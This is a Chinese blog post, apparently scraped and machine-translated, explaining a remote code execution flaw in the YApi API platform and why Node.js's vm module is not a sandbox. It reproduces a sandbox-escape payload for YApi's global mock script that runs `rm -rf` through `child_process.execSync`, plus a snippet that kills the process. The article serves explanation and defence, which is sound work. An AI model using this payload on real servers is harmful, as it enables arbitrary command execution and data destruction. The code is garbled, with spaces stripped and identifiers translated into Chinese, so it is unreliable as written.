当前位置: 首页 > 后端技术 > Node.js

哭了,21kStar的Yapi被黑了

时间:2023-04-03 11:00:03 Node.js

事情是这样的,因为我们的项目使用了这个Yapi项目,前几天收到了安全组的预警通知,说Yapi被暴露了安全漏洞,新注册的用户,可以在你的服务器上执行任意代码,什么都删,我赶紧修改!!我以为这么大的开源项目(21.7k)应该有这么严重的安全漏洞,不应该的。相信很多小伙伴都用过这个开源软件作为界面管理工具,但是为了防止有小伙伴不知道这个库是干什么的,我简单介绍一下。YApi(https://github.com/YMFE/yapi)是一个高效、易用、强大的api管理平台,旨在为开发者、产品、测试人员提供更优雅的接口管理服务。它可以帮助开发人员轻松创建、发布和维护API。YApi还为用户提供了极佳的交互体验。开发者只需要使用平台提供的接口数据写入工具和简单的点击操作即可实现接口管理。它不仅支持docker部署,还有很多插件可以使用,比如自动化测试插件、自动代码生成等等。嗯,继续,我走的是安全组的复现路径,复现了Yapi漏洞。首先,我在/Users/qiufeng/my/yapi目录下创建了一个1.js。然后打开一个Yapi工程——点击设置——全局mock脚本,然后配置constsandbox=thisconstObjectConstructor=this.constructorconstFunctionConstructor=ObjectConstructor.constructorconstmyfun=FunctionConstructor('returnprocess')constprocess=myfun()mockjson=process.mainModule.require("child_process").execSync("rm-rf/Users/qiufeng/my/yapi/1.js").toString()接下来访问我们的全局mock地址最后发现我们的1.js不见了,于是立马在谷歌上搜索Yapi安全漏洞,发现网上已经炸了。不少受害者,连大连理工大学也发表声明,要求立即整改相关代码。大家都在挖矿的挖矿,被移植的移植木马。然后我们看看如何修复这个安全漏洞。官网主要通过合并一个PR解决了这个问题。修复该漏洞的主要代码是使用safeify替换Node.js的vm。原来是使用了vm模块。这里我也给大家科普一下vm的知识。我们来看看Node.js官网是怎么定义的。的。vm模块支持在V8虚拟机上下文中编译和运行代码。(vm模块支持在V8虚拟机上下文中编译和运行代码。)。vm模块不是安全机制。不要用它来运行不受信任的代码。通俗的理解是它可以动态执行一些JavaScript代码(类似于eval和Function)。当然官网也明确指出了vm模块的安全性。那么vm有的和普通的eval、Function有什么区别吗?当然有。首先,eval最大的问题就是侵入性,因为eval的执行会侵入我现在的代码。而vm提供了更安全的沙箱环境。首先,可以使用vm.Script方法构建脚本对象:newvm.Script(code[,options]),API可以归纳为以下三种:script.runInThisContext(opts)-在当前作用域,也就是说脚本可以访问当前脚本的全局变量,不能访问局部作用域。script.runInContext(context,opts)-在提供的范围内运行脚本,这是vm.createContext的结果。在script.runInContext中,您可以提供自定义可控沙箱。script.runInNewContext(sandbox,opts)-在新沙箱范围内运行脚本。也就是说,runInNewContext会自动为你调用vm.createContext。例子如下:constvm=require('vm');vm.runInThisContext(代码,选择);vm.runInNewContext(代码,沙箱,选择);vm.runInContext(代码,上下文,选择);vm通过optionsdomain的作用实现沙箱的特性,一次隔离内外影响。所以到现在为止,看起来vm是安全的,为什么会发生这个安全漏洞呢?原因是因为js的特性...先看一段代码constvm=require('vm');vm.runInNewContext('this.constructor.constructor("返回过程")().exit()');这是一段看起来很乱的代码,但是不要小看这段代码,这段代码可以直接让你的程序退出。那我们一步步来分析,我们会展开runInNewContext。constvm=require('vm');const沙盒={};常量脚本=新虚拟机。Script('this.constructor.constructor("返回过程")().exit()');const上下文=vm.createContext(沙箱);script.runInContext(上下文);我们可以看到,要创建一个vm环境,首先需要创建一个sandbox对象,然后这个对象就是vm执行脚本中的全局Context,vm的this指向了sandbox。因为上面的代码也可以反汇编成这样。constvm=require('vm');const沙盒={};constObjectConstructor=sandbox.constructor;//获取Object对象的构造函数constFunctionConstructor=ObjectConstructor.constructor;//获取Function对象的构造函数constfoo=FunctionConstructor('returnprocess');//构造一个返回进程全局变量的函数constprocess=foo();process.exit();从这个推导过程,我们可以很容易的得出,vm之所以不安全,首先是因为它指向了沙箱,而沙箱是一个对象,对象的构造函数就是Object的构造函数,而Object的构造函数就是Function的构造函数。因为我们要解决这个问题,可以使用更安全的vm2或者safeify。下次我们来分析一下这两个库的源码,它们是如何消除vm的缺点的。相关链接https://segmentfault.com/a/11...https://github.com/YMFE/yapi/...回头看看作者之前好评如潮的文章,说不定还能收获更多!2021前端学习之路书单-自我成长之路:570+点赞从破解一个设计网站谈前端水印(详细教程):790+点赞本文带你解开“文件”的奥秘层层下载》:140+Likes10个跨域解决方案(有绝招):940+likesConclusionNotes,一个专注于前端面试、工程、开源的前端公众号